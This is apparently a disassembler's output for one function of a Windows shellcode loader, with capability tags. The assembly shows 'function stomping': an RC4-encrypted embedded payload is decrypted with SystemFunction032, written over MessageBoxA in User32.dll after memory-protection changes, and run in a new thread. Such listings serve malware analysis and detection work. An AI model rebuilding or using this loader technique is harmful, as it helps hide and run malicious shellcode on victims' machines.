Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x68
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rdx, str.MessageBoxA
lea rcx, str._i__Stomping___s__Function_n
call fcn.140001010
lea rcx, str.User32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400010d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____LoadLibrary_Failed_With_Error:__d__n
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001340
add rsp, 0x68
ret
lea rdx, str.MessageBoxA
mov qword [rsp + 0x70], rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x14000110c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____GetProcAddress_Failed_With_Error:__d__n
call fcn.140001010
lea eax, [rbx - 1]
jmp 0x140001312
mov r8, rbx
mov qword [rsp + 0x60], rsi
lea rdx, str.MessageBoxA
lea rcx, str._i__Address_of__s_At:_0x_p__n
call fcn.140001010
lea rsi, [0x140005040]
mov rdx, rsi
lea rcx, str._i__Decrypting_Payload_At:_0x_p_n
call fcn.140001010
lea rax, [0x140005150]
mov dword [rsp + 0x30], 0x10
lea rcx, str.Advapi32
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x34], 0x10
mov dword [rsp + 0x40], 0x110
mov dword [rsp + 0x44], 0x110
mov qword [rsp + 0x48], rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call rax
test eax, eax
je 0x1400011bf
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
lea rcx, str._t____Decryption_Failed__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x14000130d
lea r9, [rsp + 0x50]
mov dword [rsp + 0x50], 0
mov edx, 0x110
mov r8d, 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400011f0
lea rcx, str._t____VirtualProtect__RW__Failed_n
jmp 0x1400012b2
lea rcx, str._t_i__Writing_Payload...
call fcn.140001010
mov r8, rbx
mov rax, rsi
mov r9d, 2
nop dword [rax + rax]
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [r8 - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [r8 - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [r8 - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [r8 - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [r8 - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [r8 - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [r8 - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [r8 - 0x10], xmm1
sub r9, 1
jne 0x140001210
movups xmm0, xmmword [rax]
xor edx, edx
mov rcx, rsi
movups xmmword [r8], xmm0
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memset
lea rcx, str._t___Done_n
call fcn.140001010
lea r9, [rsp + 0x50]
mov edx, 0x110
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400012ca
lea rcx, str._t____VirtualProtect__RWX__Failed_n
call fcn.140001010
lea rcx, str._t____Stomping_Failed__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x14000130d
lea rcx, str.___Press__Enter__To_Run
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor r9d, r9d
mov qword [rsp + 0x28], 0
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rsi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001340
add rsp, 0x68
ret